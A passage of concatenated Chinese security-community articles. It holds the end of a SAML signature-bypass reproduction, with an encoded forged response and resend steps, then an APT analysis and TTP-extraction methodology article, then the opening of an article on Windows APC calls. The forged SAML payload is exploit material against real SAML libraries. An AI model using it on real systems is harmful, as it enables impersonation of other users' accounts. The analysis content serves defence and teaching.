luc3RhbmNlIiB4c2k6dHlwZT0ieHM6c3RyaW5nIj50ZXN0Mjwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJtZW1iZXJPZiI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyI%2BVGVzdDwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjxzYW1sOkF0dHJpYnV0ZSBOYW1lRm9ybWF0PSJ1cm46b2FzaXM6bmFtZXM6dGM6U0FNTDoyLjA6YXR0cm5hbWUtZm9ybWF0OmJhc2ljIiBOYW1lPSJQZXJzb25JbW11dGFibGVJRCI%2BPHNhbWw6QXR0cmlidXRlVmFsdWUgeG1sbnM6eHNpPSJodHRwOi8vd3d3LnczLm9yZy8yMDAxL1hNTFNjaGVtYS1pbnN0YW5jZSIgeHNpOnR5cGU9InhzOnN0cmluZyIvPjwvc2FtbDpBdHRyaWJ1dGU%2BPHNhbWw6QXR0cmlidXRlIE5hbWVGb3JtYXQ9InVybjpvYXNpczpuYW1lczp0YzpTQU1MOjIuMDphdHRybmFtZS1mb3JtYXQ6YmFzaWMiIE5hbWU9IlVzZXIuZW1haWwiPjxzYW1sOkF0dHJpYnV0ZVZhbHVlIHhtbG5zOnhzaT0iaHR0cDovL3d3dy53My5vcmcvMjAwMS9YTUxTY2hlbWEtaW5zdGFuY2UiIHhzaTp0eXBlPSJ4czpzdHJpbmciPnRlc3QxQGNubnQuY29tPCEtLS0tPi5jbm50LmNvbTwvc2FtbDpBdHRyaWJ1dGVWYWx1ZT48L3NhbWw6QXR0cmlidXRlPjwvc2FtbDpBdHRyaWJ1dGVTdGF0ZW1lbnQ%2BPC9zYW1sOkFzc2VydGlvbj48L3NhbWxwOlJlc3BvbnNlPgoK
第三步，重新发送修改后的SAML Response至我们的SP（demo-flask）
可见签名校验成功，并返回了相应的session id。
第四步，利用上一步获取到的session
id访问SP，我们发现User.email的值被成功地由`[email protected]`修改成了`[email protected]`，如下：
至此，我们成功地复现了漏洞。
# 总结
总结一下该漏洞的成因其实很简单，就是由于用于生成SAML
Response中的签名的标准化方法与处理身份识别码的XML解析库对于注释的处理不一致从而导致签名校验被绕过，最终出现了越权访问其他用户的数据资源的漏洞。
这个漏洞的利用思路还是比较有意思的，但是也有一定的局限性，要想越权访问其他用户的话，首先需要一个认证成功的用户A，且目标用户B的NameID是可以通过以注释的方式分割用户A的NameID来获得，如用户A的NameID是123456，用户B的NameID是1234。
# 参考
* <https://duo.com/blog/duo-finds-saml-vulnerabilities-affecting-multiple-implementations>
* <https://duo.com/blog/the-beer-drinkers-guide-to-saml> | 社区文章 |
**作者：PIanet
招高级安全分析 反APT研究 威胁情报 [email protected]
原文链接：[https://projectsharp.org/2020/02/23/APT%20%E5%88%86%E6%9E%90%E5%8F%8A%20TTPs%20%E6%8F%90%E5%8F%96/?from=groupmessage&isappinstalled=0](https://projectsharp.org/2020/02/23/APT%20%E5%88%86%E6%9E%90%E5%8F%8A%20TTPs%20%E6%8F%90%E5%8F%96/?from=groupmessage&isappinstalled=0)**
## Abstract
本文对 APT 分析及 TTPs 提取进行讨论，总结出一套适用于安全分析、安全研究及企业应急响应人员的分析方法。
文章由六部分组成，引用了杀伤链模型，钻石分析模型，ATT&CK 等内容，介绍了攻击事件、APT 攻击的一些概念，简单概括了 “通过攻击者能力切入” 和
“通过基础设施切入” 的两种 APT 事件分析的方法。着重探讨了 TTP 的提取、使用、应用、落地及归因判断。提出了 “特征矩阵” 和
“事件链图”，设计了描述模型，同时进行了简单的可行性论证。
内容适用于具有一定经验的安全分析师，病毒分析师，威胁情报分析师等安全人员。
## 0x00 攻击事件
什么是攻击事件？
个人理解，攻击事件是在未授权情况下，对计算机系统或计算机资源进行访问、使用、更改、破坏的活动。根据事件烈度和影响范围，可以分为以下几类：
* 常规攻击
* Botnet
* 恶意软件
* APT
### 0x00-01 攻击事件甄别
对攻击事件，可以从烈度、影响、指向以及特点等维度进行甄别。
* 常规攻击
常规攻击一般事件复杂度低，杂音少，线性且可直接推测出攻击目的。其中包括非定向钓鱼，端口，服务扫描，SQL
注入，拒绝服务攻击，会话劫持和中间人攻击，凭证重放等。此类型事件，影响少，危害可控且可在短时间内进行排查修复。
* Botnet
僵尸网络的特点就是大规模攻击，数据说话，涉及到RAT。比如 Necurs、Gafgyt、Mirai 僵尸网络上的垃圾邮件、DDoS 等。
* 恶意软件
恶意软件指一些勒索、挖矿以及病毒木马。涉及钱包、矿池；目的不同，会包含 RAT；不同的入口，也会出现标志性的工具和利用。比如 WannaCry、Bad
Rabbit、大量 MikroTik 路由器被感染进行恶意挖矿等。
* APT
APT 攻击时间复杂度高，多个行为，多个指纹身份；有 loader、有Downloader、有 RAT、有
Malware。在所有攻击事件中是最难分析的一类。知名的 APT 组织：海莲花、摩诃草、APT28、Lazarus Group 等。APT
的目标通常是监视网络活动并窃取数据，而不是破坏网络或系统。
### 0x00-02 攻击事件的核心元素
借用钻石模型中的概念，每一起攻击事件（Event）都包含四个核心元素：攻击者（Adversary）、受害者（Victim）、能力（Capability）和基础设施（Infrastructure）。
* 攻击者：攻击事件的直接执行者 在一些大型的攻击事件中，攻击组织有完善的人员体系结构，这里所说的攻击者，是事件的直接操作者。
* 受害者：攻击者的目标 不同类型的的攻击事件中受害者表现也不同，可能是一台主机、一个企业或者一个机构。
* 能力：使用的工具或者技术
能力是事件中攻击者所使用技术或者工具。从探查到最终目的达到，“技术”存在攻击过程的每一个阶段。
* 基础设施：攻击者维持权限控制的通道或者载体。 基础设施可以理解为攻击的 C2 通道，可以分为三类：① 攻击者购买拥有 ② 攻击者攻陷的 ③ 使用的第三方平台或者服务。
每一起攻击事件，都有一个攻击者通过基础设施上的能力对受害者产生影响，进而达成某种目的。所有攻击事件都是围绕这四者进行展开的。
在这四核心元素之上，又可以衍生出 “技术”，“社会” 维度，指导安全分析。在此不再展开，之后会单独做一个专题，使用钻石模型进行事件分析。
## 0x01 APT
APT (Advanced Persistent Threat)，翻译为高级持续威胁。这类攻击报告，最早可以追溯到 2005 年 6
月，英国国家基础设施安全协调中心 (UK-NISCC) 和美国计算机应急响应小组 (US-CERT)
发布了技术警报公告，其中描述了有针对性的社交工程电子邮件，这些电子邮件包含特洛伊木马进行窃密。(LM White Paper Intel
DrivenDefense）
这个概念炒了好几年，不同身份角色，站在不同角度都有自己的理解，就不过多解读。文章以下内容，限定在国家及组织对抗的 APT 攻击场景。
### 0x01-00 APT 攻击的特点
国家及组织对抗的 APT 有以下几个特点：
* 攻击目的性强，为了达到目的不择手段。
* 雄厚的支持
分析中发现有大量漏洞利用和定制化工具使用，这反应出 APT 攻击需要耗费巨大的人力、物力。攻击者往往有政府或财团支持。
* 目标价值高
与投入相匹配，APT 攻击的目标价值往往也十分高，其攻击领域有：政府部门、军事部门、基础设施、金融机构、教育科研机构和大型企业等。
* 时间复杂度高
APT 攻击的另一个特点就是，时间复杂度高，持续时间长。即使有报告对 APT 组织进行披露，导致之前的攻击手段失效，但只要目标的价值还在，那么攻击还会发生。
### 0x01-01 APT 入侵的方式
APT 攻击入侵的方式主要有：鱼叉式钓鱼、IM、水坑攻击、钓鱼网站、1/N day 漏洞、0 day
漏洞和物理接触。入侵包括载荷投递和突破防御两个阶段，各种入侵方式的成本如下图：
入侵方式金字塔，从下到上，入侵成本和危害程度逐层递增。
处于金字塔最底层的是鱼叉式钓鱼邮件和即时通讯软件，它是最常见、入侵成本最低的攻击方式。攻击者常常以鱼叉邮件做为攻击入口，精心构造邮件标题、正文和附件。用来投递恶意网址、伪装文件或者含有漏洞利用的文档。IM
与鱼叉邮件钓鱼类似。水坑攻击和钓鱼网站也是常见 APT 攻击入侵方法。侵入网站，加入恶意 JS
伪装更新；或者通过推特、fb、论坛上面通过发布、评论、转发等方式进行社交平台的水坑攻击。还可以制作钓鱼网站，通过邮件、IM、水坑等方式投递给受害者，窃取账号密码、收集主机信息或者诱惑下载恶意软件。这两种入侵方式的成本也不高。
防御边界的渗透攻击，针对的是受害系统、业务的防御边界，进行常规的渗透攻击，例如常见的 SQL
注入，文件上传，跨站脚本攻击、跨站请求伪造等。此类入侵方式较常规网络攻击并无不同，入侵的目的是突破防御边界，找到稳定且隐蔽的入口，渗透攻击在 APT
攻击中也是比较常见的。
再往上，就是漏洞利用。漏洞利用的目的有两点：未授权安装、运行代码和规避杀软检测。其中 0 day 漏洞危害和成本要远大于 1/N day 漏洞。各种 APT
攻击中，出现过许多操作系统漏洞、路由器或交换机网络设备漏洞，以及 office，Flash，PDF
等应用漏洞。此种攻击往往搭配其他手法，组合进行入侵。例如容器漏洞在渗透攻击中的利用，以及 Office 漏洞在钓鱼中的利用。
漏洞入侵之上是供应链攻击，典型的例子如 XSHELL
、CCleaner、华硕软件更新劫持等攻击事件。在突破上游供应商后，在极短的时间内进行资产摸排、更改、下发、劫持。又同时可以顺利筛选、控制下游目标。整套流程下来，及其考验攻击组织的技术能力，协调能力，后勤能力及储备和信息收集能力。
最顶层是物理接触，典型的攻击事件：“震网”。这种比较少见，不多说。
APT 攻击是否成功，取决于攻击者的目的和所具有的入侵能力，与目标防御强弱无关。防御强弱和目标的价值决定了入侵的方式。漏洞利用，特别是 0 day
漏洞都是针对高价值，特定目标，考虑到入侵成本，APT 攻击更倾向于其他的入侵方式。
## 0x02 APT 事件分析
在事件分析的初期，我们拿到的线索是破碎零散的，这些线索只是攻击者为了达成目的采取的手段，我们做安全分析，其实是对攻击手段上下文的描述。
事件有四个核心元素，攻击者、受害者、基础设施和能力。我们分析 APT，可以从受害者、基础设施和能力三个角度进行切入。具体方法分为两种。
### 0x02-00 APT 两种分析方法
### 通过攻击者“能力”切入分析：
基于能力的分析方法，对应的是样本分析。样本分析要关注样本的行为及上下文关系。
样本行为包括样本的恶意行为、驻留、子进程创建，释放文件、网络请求等。其中要注意样本中携带的信息和加解密、攻击技术、对抗技术方面的特征。这些携带的信息和特征有助于关联匹配到其他样本。
入侵过程中往往有 fake (Downloader)，有 Dropper，有
backdoor；各个阶段还会包含伪装、漏洞利用。初期拿到的样本通常只是其中一个。样本分析是事件分析的基础，只有弄清样本的上下文关系，才能理顺攻击手段。
样本分析同学以恶意软件为起点，针对技术（加解密、攻击技术、对抗技术），C2
结构和恶意软件上下文进行分析。根据恶意软件的特征匹配其他样本，扩大分析面。期望分析得到的结果：
* 受害者的信息
* 基础设施列表
* 使用的技术
* 样本的一些特征
* 匹配到其他样本
各大厂商的 APT 报告都是以攻击者能力切入，所以看到大量篇幅都是恶意软件技术报告。
#### 通过攻击者“基础设施”切入分析
基于基础设施的分析方法是 C2 关联分析。是描述事件上下文最有效的方法。
样本中多少会暴露一些基础设施信息；或是 IP，或是域名。通过 WHOIS
信息来发现统一注册者的不同域名。进一步研究可以得到针对不同攻击者的恶意软件信息（相似/相同的基础设施）。期望分析得到的结果：
* 与该基础设施有联系的受害者
* 该基础设施下发\上传、命令控制等行为
* 关联到其他基础设施
分析过程中要注意一点，样本分析和关联分析并不是独立进行的。
对恶意软件进行分析，得到其中的 C2 基础设施。通过对 C2
的关联分析，找到了同一基础设施下发的其他样本。之后再对样本进行分析……由此形成了一个循环。最后的效果，差不多是这样的：
举一个简单的例子：我们拿到初始样本 A，进行恶意软件分析，得到其中的 C2：域名 A 和域名 B，对 C2 基础设施关联分析，发现具有相同基础设施的样本
B。通过对样本 B 逆向分析，得到新的 C2 域名
C。这仅仅是一个循环，分支上就已经可以关联到许多信息。这个循环越多，找到的线索越多，最后事件分析的完整度就越高。
### 0x02-01 IoC 层级
IoC (Indicators of Compromise) 在取证领域被定义为计算机安全性被破坏的证据。在 APT
领域作用就是描述攻击者得恶意活动。分析人员对 IoC 进行识别和关联，来寻找恶意活动背后得事件和潜在得威胁。APT 分析工作都是围绕 IoC 进行的。
分析过程中遇到的 IoC 有以下几种：
* hash
* IP
* 域名
* 网络
* 主机特征
* 工具
* TTPs
这些 IoC 的地位并不是相同的，其中一些指标远比其他指标更有价值。David Bianco提出了 [Pyramid of
Pain](https://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html)，描述了 IoC 之间的层级关系。
* hash：
指样本文件的哈希值。通常用于提供对特定恶意软件样本或涉及入侵的文件的唯一标识。hash 值是分析人员最容易拿到的
IoC，但是哈希值很容易改变，文件中更改一个字节，都会影响文件哈希。很多情况下不值得跟踪。
* IP： 绝大多数恶意软件都有网络行为，其中一定会涉及 IP，但是如果攻击者使用匿名代理或者 Tor，IP 十分容易改变。
* 域名： 域名和 IP 类似，但是域名需要注册，要付出一定的费用。因为 DNS 解析需要时间，即使使用 DNS 服务商提供的免费域名服务，但是还会有时间成本。所以，域名稍比 IP 稳定一点。
* 网络特征： 指 C2 上，比较有区分度得特征。比如，恶意软件请求 C2 上指定路径的资源文件，如：`GET xxx[.]com/AWDA/a.exe`、`GET xxx[.]com/AWDA/get.php?fun=xx&ad=xx`，或者向指定位置上传文件：`POSTxxx[.]com/AWDA/img.php`等，`AWDA/a.exe`、`AWDA/get.php?fun=xx&ad=xx`、`AWDA/img.php` 这些就是网络特征。攻击者可能会架设多个 C2，多渠道撒布大量恶意软件。只要 C2 指令结构不变，网络特征很难改变。
* 主机特征： 指恶意样本中，携带的攻击者主机的一些特征。这些特征不容易发现。但是对匹配其他样本、定位攻击者意义重大。后面有章节详细介绍。
* 工具： APT 攻击中，为了达到某种目的，攻击者往往会使用、研发、定制一些工具。比如 APT 28 使用的 DealersChoice、Xagent。攻击者定制、自研一些工具，肯定要花费一定的成本。如果对攻击套件进行准确识别，攻击者只能放弃目前所使用的工具，这样无疑加大了下次攻击的成本。
* TTP： Tactics, Techniques, and Procedures (战术、技术、过程)。是对攻击者攻击行为，战略战术层次的描述。I /域名可以更改，网络主机特征也容易消除、工具可以重新开发。但是攻击的战略战术往往很难改变，如果能识别出 TTP 特征，攻击者要么放弃攻击，要么指定新的战术。这对 actor 将是致命的打击。在 IoC 的层次结构中，由下到上获取难度依次增高，同时改变的难度和价值也是增长的。处于最顶端的是 TTP，这是最有价值和最难获取的 IoC。下面聊一聊 TTPs 提取。
## 0x03 TTPs 提取
TTP 是什么？
TTP: Tactics, Techniques, and Procedures (战术、技术、过程)
* 战术：攻击者从信息收集开始到目的达成的攻击策略。攻击的目标、攻击目的、前期信息收集方式、对目标攻击的入口点、载荷投递方式等等都可以划分在战术指标里面。
* 技术：为了达成攻击目的，Actor 通常在具体事件中使用各种技术。这些技术旨在突破防御，维护 C2，横向移动，获得信息、数据等。
* 过程：要进行成功的攻击，仅仅拥有良好的战术和技术是不够的。还需要一组精心策划的战术动作来执行才可以。
### 0x03-00 TTP 提取的难点
战术、技术、过程三个词过于抽象，目前没有很好的方案对 TTP 进行实体描述。
再者就是，相关的资料过于匮乏。国外技术封锁、而国内做 APT 研究的能力性安全厂商寥寥无几。 曾从事过一段时间 APT 分析，结合钻石分析模型、Kill
chain，摸索出一种描述 TTP 的方法：特征矩阵和事件链图。
不管是 IoC、IoA、SITX 还是 ATT&CK ，目前市面上都没有成熟的方案对 TTP 进行描述，特别是 ATT&CK
，因为过度炒作，目前已经有点妖魔化。本篇不对 ATT&CK
过多探讨，可以参考阅读[《安全分析中的威胁情报（二）：ATT&CK》](https://zhuanlan.zhihu.com/p/73172883)和
[《关于ATT＆CK/APT/归因的讨论》](https://weibo.com/ttarticle/p/show?id=2309404450471736639616)以示正听。ATT&CK
对 TTP 提取的帮助，后文会进行讨论。
### 0x03-01 特征矩阵
特征矩阵是对特征的事件分析过程中，攻击者能力，基础设施，战略等方面的特征总述。
整体分为三个部分，基础设施特征、技术特征、战略特征。
* 基础设施特征中包含 C2 列表、网络特征和样本中携带的主机特征。
* 技术特征包含加解密技术、攻击技术和对抗技术。
* 战略特征包含目标群体、攻击入口和载荷投递。
大体的框架如图所示，一些指标要根据实际情况进行调整：
* 战略/战术： 包含目标群体、攻击入口和载荷投递方式和释放流程。攻击入口、载荷投递方式和释放流程可以在样本分析中进行总结。
事件四个核心元素，攻击者、受害者、能力、基础设施。上面所讲了通过能力和基础设施切入进行事件分析。此外，还可以通过受害者进行切入分析，得到攻击者的一些战略信息。例如，攻击者为了提高成功率，会贴合受害者定制一些攻击邮件或者文件，通过其中精心构造的邮件名、正文、附件内容，可以反推受害者群体，以此揣摩攻击者的战略目的。
* 基础设施： 基础设施分为 C2、网络特征、主机特征。因为会有基础设施重用的情况，C2 列表一定要有；再者就是 URL 上面的网络特征以及样本中携带的主机特征。主机特征有很多，例如样本生成的开发/打包工具语言、配置，PDB 调试文件路径、源码路径可以看出攻击者的一些习惯；样本、签名证书的生成时间推断攻击者所在地区、如果数据量大的话，还能根据节假日、休息日推断所在国家。如果有文档类样本，还会有文档所有者、修改者这些攻击者个人信息。
* 技术： 技术特征分为加解密、攻击技术、对抗技术、C2 技术。技术特征太多了，加密算法、使用的工具、持续部署的方案、漏洞利用、C2 通信方式、反杀软、行为隐藏……工具使用，代码重用这些情况都可能导致技术上的重叠。
以上的特征分析方法对应：
* 战略战术 -> 受害者分析
* 基础设施 -> 样本分析 + 关联分析
* 技术特征 -> 样本分析
TTP 是 Tactics, Techniques, and
Procedures。得到的特征矩阵，更多的是在能力和基础设施方面上的特征，Procedures
上面的体现很弱。为了弥补这一点，推出事件链图来表示攻击事件的上下文，体现战术特征。
### 0x03-02 事件链图
在说事件链图时，先补充几个概念。
#### KILL CHAIN
入侵的本质：攻击者开发有效的载荷突破防御，在可信赖的环境中实现驻留，以便接下来的行动。这种行动可能是横向移动、窃密、破坏完整性或可用性等。
洛克希德马丁公司，在 2011 年发布的一篇论文《[Intelligence-Driven Computer Network Defense
Informed byAnalysis of Adversary Campaigns and Intrusion Kill
Chains](https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf) 》中描述了一种名为
Kill Chain 的入侵分析模型。通过对入侵的理解，杀伤链将攻击定义为7个阶段：
* Reconnaissance (侦察)
* Weaponization (武器构建)
* Delivery (载荷投递)
* Exploitation (漏洞利用)
* Installation (驻留)
* C2 (命令控制)
* Actions on Objectives (采取行动)
前面的六个阶段都是为最后采取行动做铺垫。当入侵成功实现驻留之后，恶意软件将会通过 C2 命令执行一些横向移动、窃密、破坏、勒索等一些恶意行为。介绍 Kill
Chain 的文章已经很多，不再赘述。
#### 攻击总是线性的
攻击者不可能隔空，也不可能不借助外有资源和能力达成攻击目的。
举一个简单的例子：
攻击者投递含有 cve-2017-11882 的钓鱼邮件，受害者打开了钓鱼文件，漏洞利用成功，文档从远程拉取执行了后门。
将描述的实体抽离出来，就是这个样子：
outlook ->
Explorer ->
office ->
EQNEDT32 ->
[NET] ->
Explorer ->
Payload
简单梳理一下， 此描述的攻击动作，其中将使用到的行为主体有 outlook，资源管理器，office，公式编辑器，网络和最终的
payload。每一个步骤都是首尾相连，且没有中断的。
**攻击在观测空间内的动作一定是呈线性关系的。操作的对象、攻击的动作一定是有明确的目的和明显的前后关系。**
#### APT 分析单位
在此规定一下，事件为 APT 分析的最小单位，而不是样本。
样本分析 ∈ 事件分析
事件分析 ∈ 攻击战术分析
一次完整的分析要包含完整独立攻击上下文。当然，事件之间是关联的。比如，攻击者发送钓鱼邮件，其中包含钓鱼网站链接，受害者接收钓鱼邮件并且点开钓鱼链接下载并运行了恶意软件。这是三个独立事件：邮件钓鱼、钓鱼网站、恶意软件执行。
因为在杀伤链模型中，邮件钓鱼、钓鱼网站、恶意软件有各不相同入侵过程。虽然整个攻击是连贯的，还是要将各个步骤拆解出来，单独进行事件分析。
为了表述事件链图。指定以下场景：
APT 组织对某机构进行攻击：
攻击者通过 google hacking 搜寻到所属该单位的某雇员，通过社交平台找到其 163 邮箱。
对该员工发送钓鱼邮件，其中包含 163 邮箱钓鱼网站。
雇员查看钓鱼网站，泄漏了自己 163 邮箱密码。
攻击者登陆邮箱，查看往来信件，锁定高价值目标。
向高价值目标发送钓鱼邮件，其中包含有漏洞利用的文档。
文档被打开，主机被感染，窃取到机密文件。
以上整个攻击，用事件链图描绘出来：
入侵的上下文用实线连接，事件之间的上下文用虚线连接。就构成了基于杀伤链的事件链图。
但是 APT
攻击手法是多样的，设立的场景中，钓鱼邮件进行恶意文档投递，水坑攻击不行么？最终后门是通过利用文档漏洞进行恶意代码执行，使用浏览器漏洞是不是更高效？所以我们将链图再进一步抽象，就得到最后成品：
攻击的入口和方法很多，但是攻击事件的上下文基本上是类似的。
因为场景十分简单，实际的 APT 攻击，制作出来的链图要比这一个丰富的多。
## 0x04 TTPs 的使用及归因判断
首先是特征矩阵，特征矩阵着重对 APT 活动技术上面进行描述。
两个活动 A 和 B，将特征矩阵由 A 到 B
进行映射，相同颜色部分标识相同特征。区域的颜色标识特征的置信度。当置信度达到一定阈值后。我们就可以将两个活动关联起来，认为是同一攻击组织所为。 之前 IoC
层级中提到，不同的 IoC 他的更改难易程度不同，所以各种 IoC 的价值也不同。在这里也是适用的。
在特征矩阵映中，映射到的部分权重也而不相同。参照 Pyramid of Pain，制作一个 Pyramid of Features：
自下而上，一共七层。最底层是样本中硬编码的字符串和样本中携带的主机特征、这些是最容易改变且经常用来迷惑分析人员的指标。往上是 C2
上面的特征，这些也很容易改变，但是同批样本，同一活动的 C2
结构基本相同。在往上是样本中的一些攻击技术和对抗技术。处于顶层的时加密方式、密钥、使用的攻击，漏洞利用技术、C2 和独特的算法。
加密方式和密钥以上在关联分析中的置信度已经很高了，特别是非对称加密的密钥，但是生存时间短，经常用过几次后就被弃用。再一个是使用的工具和漏洞利用技术，在
Pyramid of Pain 也提到了，工具的开发需要大量的人力金钱成本，这些特征不容易改变。
APT 组织，有基础设施重用的情况，如果看到相同的 C2，基本就确定活动关联，但是要注意 C2 生命的连续性，如果域名 1 月份注册到期，过了保护期，6
月份时再次活跃，是不是同一攻击者还需思量。独特的算法包括加密算法、有特点的攻击技术、对抗技术。
金字塔上的特征有下到上，特征的改变难度越高、价值越高，使得在分析时，权重和置信度也越高。
如果特征上，置信度叠加不高，就可以在事件链图中进行匹配：
A 是所掌握的某组织的事件链图，B 是独立攻击的事件链图。
红色部分为匹配到的相同特征，如果特征置信度达不到一定阈值。可以观察 A 攻击的上下文，与所掌握 B 的信息是否相符。如果上下文重合度高。可以增加 B∈A
的可能性。
TTP 是有生命周期的。APT 攻击在对抗中升级，技术、战术特征会在一段时间后变的面目全非。
归因判断不仅仅可以通过特征矩阵进行特征匹配，还可以通过事件链图攻击上下文进行佐证。
## 0x05 TTPs 落地的思考
一个东西提出后，首先要思考的是它产生的背景，自身的价值，适用的范围，解决的问题，存在的不足以及可行的落地场景和具体方案。
TTP 的意义在于可以对一起攻击事件、一个攻击组织高度的总结。可以帮助我们对攻击进行及时的感知和阻断。此外，TTP 另一个用处就是归因判断。
### 0x05-01 实体抽取
不管用作防御的感知和阻断，还是在研究领域的归因判断。落地前需要解决的第一个问题就是人类语言向机器语言的转变，也就是行为实体抽取和可机读。
前文提出了一个观点：攻击是线性的，且不可能隔空进行操作。将操作对象视为原点，操作视为方向，其构成的向量即代表本次的攻击动作，向量的顶点即表示下一个操作对象。这些一个个的攻击动作首尾相连构成攻击行为，最终指向的便是攻击目的。
进行 TTP 提取的前提是，梳理出完整的攻击流程和操作对象。而图中所示的操作对象，便是需要抽取的实体。“操作对象” 具有以下特点：
* 攻击过程中的支撑点
* 攻击过程中更改、操作及运行的对象。
* 操作的载体
* 攻击中所需要的资源（运算、网络）
还是那个例子：
攻击者投递含有 cve-2017-11882 的钓鱼邮件，受害者打开了钓鱼文件，漏洞利用成功，文档从远程拉取执行了后门。
outlook，资源管理器，office，公式编辑器，网络和最终的 payload 这些都都是操作对象。他们直接或间接的受控于攻击者。
### 0x05-02 关系描述
“事件链图” 是描述 TTP
的重要方法，它着重强调了攻击的上下文关系，以及操作对象之间的关联关系。在事件链图描述中，每一个方块实际就是操作对象。除此之外另外一个维度就是关联关系，也就是
“操作”，对应事件链图中连接方块的边。
操作可以理解为攻击动作。人类知识转变为机器语言是困难的，将攻击动作进行可机读的表述需要借助一个东西：ATT&CK。
#### ATT&CK 对 TTP 提取的帮助
ATT&CK 的价值在于统一了行为标记和描述的标准。它对攻击性操作进行细分和分类，有了这种完善的参照，极大减少了 “行为抽象” 的成本。
进行 TTP 描述，需要对攻击的动作进行一种标准化描述。我们所要描述的 “关系”，其实是表达
“攻击者借助何种基础设施，采用何种方法对受害者产生影响的过程”，这是一种带有明显方向性的特征。就像标量不能描述矢量一样，狭义的 IOC 是不能描述 TTP
和攻击上下文的。
MITRE 提出了 STIX (Structured Threat Information eXpression), CrowdStrike 提出了 IOA
(Indicator of Attack)，他们都意识到 IOC 是不足以描述丰富多变的网络安全环境，也不能描述复杂的上下文关系。STIX 通过
Observables (可观察对象)、Indicators (上下文关联)、Incidents (上下文实例)、TTP、Exploit Target
(弱点)、Campaign (意图)、ThreatActors (恶意行为特征)、Courses Of Action (反应措施) 描述攻击；而 IOA
主要表达攻击者必须采取的什么行动才能达成目的。
不管是何种方式，IOA、SITX 都是在尝试去描述攻击过程这一 ”矢量“，而 ATT&CK 的出现就像胶水一样，很好的将
”部件“进行粘合。丰富且适用的字典可以帮助描述操作对象的上下文关系，进而帮助对 TTP 进行抽象描述。
ATT&CK
让攻击描述可以聚焦于更加抽象的过程总结，而不必纠结这个攻击的实际步骤。并且采用统一的描述方法，实现了可机读，以及可以更好的进行信息交换，降低数据转入转出成本，提高信息适用性和可拓展性。
#### 使用 ATT&CK 进行关系映射
使用 ATT&CK 关系映射分为两种：人工映射以及自动化匹配。
人工映射无非就是打标签，分析人员在分析过程中，通过自身知识的总结攻击活动，人工到 ATT&CK
矩阵中去匹配。自动化映射是指，机器去理解攻击的上下文关系，通过一些算法，将攻击过程去 ATT&CK 矩阵中去匹配。
人工映射十分准确，既然是人，肯定有自己擅长的领域以及知识盲区，“人”
对非擅长领域的信息是很难进行判断的；同时，人的精力是有限的，面对海量信息显得有些乏力。为了解决人工映射的弊端，业内有自动化映射的研究，不可否认，自动化映射更符合真实环境需求。受限于当前机器学习发展的瓶颈，很难有一个算法可以全自动地进行
ATT&CK 映射。
结合 “事件链图”，使用 ATT&CK 映射关联关系可以从四个角度入手：
* 环境：动作所处的环境，例如操作系统，执行环境（内存、命令行、SQL 等）
* 实现：进行了何种操作，例如文件释放，网络请求，数据修改等
* 操作对象：如释放的文件类型，注册表等
* 特征：有一些攻击动作，需要特定的条件，比如 T1170，T1156，T1086 等，这种，检测到相关特征，便可进行直接映射。
自动化映射需要结合自身系统的设计和需求，因人制宜，不过多的讨论。
### 0x05-03 完整的描述模型
经过优化， 可以将 “事件链图” 描述为：
方块表示操作对象，边表示操作对象之间的操作，也就是 ATT&CK
所描述的那部分。每两个实体和边看作一个最小分析单位，如图中红框所示。其构成的最小元组表达为：
(Node1 {Labels:'xxx'})-[:Relationships {Labels:'xxx'}]->(Node2)
每一个操作对象、实体表达为`（Node）`。关联关系表达为`[:Relationships]`。实体和关联关系都具有属性信息。
Node 的属性信息，可以是资源路径，捕获时附带的信息，带有的命令行参数等等。一切和操作对象实体有关的信息都可以放在里面。Relationships
描述攻击过程和实体之间的关系，可以基于 ATT&CK 进行描述，属性信息包含攻击击过程的环境，实现，特征或者其他一切信息。总的说，关注的是4种内容：
* 实体
* 实体的属性
* 关联关系
* 关联关系的属性
基于此种描述模型，可以延伸出两种 TTP 描述方法：
* 关注实体的 TTP 描述方法（特征矩阵）
* 关注关联的 TTP 描述方法（事件链图）
特征矩阵中的信息，大多可以映射到实体属性上。关注实体的 TTP 描述方法更多的是在能力和基础设施方面的特征。关注关联的 TTP
描述方法，着重上下文关系，更能体现体现战术特征。当然也可以将两者进行融合，只不过我将其归为第二类。因为描述上下文时，也需要操作对象（实体）的属性信息。
那么如何设计数据结构呢？可以使用 json 嵌套，也可以使用 STIX ，当然也可以自己设计标准。此处留一点想象空间。??
## 0x06 参考链接
* <https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-PaperIntel-Driven-Defense.pdf>
* <http://pwc.blogs.com/cyber_security_updates/2015/05/diamonds-or-chains.html>
* <https://ti.360.net/uploads/2018/01/26/65f86ec75d7775677676515122363c69.pdf>
* <https://www.lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf>
* <https://zhuanlan.zhihu.com/p/73172883>
* <http://detect-respond.blogspot.com/2013/03/the-pyramid-of-pain.html>
* <https://weibo.com/ttarticle/p/show?id=2309404450471736639616>
* <https://www.fireeye.com/blog/threat-research/>
* <https://ti.qianxin.com/blog/>
**鸣谢**
主要内容成文于两年前，感谢当时 Redrain、cyg07 对我教导和帮助。
* * * | 社区文章 |
## 什么是APC
APC 是一个简称，全称为Asynchronous Procedure
Call，叫异步过程调用，是指函数在特定线程中被异步执行，在操作系统中，APC是一种并发机制。
MSDN解释为：
### 相关函数
`QueueUserApc`：函数作用,添加制定的异步函数调用(回调函数)到执行的线程的APC队列中
`APCproc`：函数作用: 回调函数的写法.
### 核心函数
**QueueUserAPC**
DWORD QueueUserAPC(
PAPCFUNCpfnAPC, // APC function
HANDLEhThread, // handle to thread
ULONG_PTRdwData // APC function parameter
);
参数1表示执行函数的地址，当开始执行该APC的时候，程序会跳转到该函数地址处来执行。
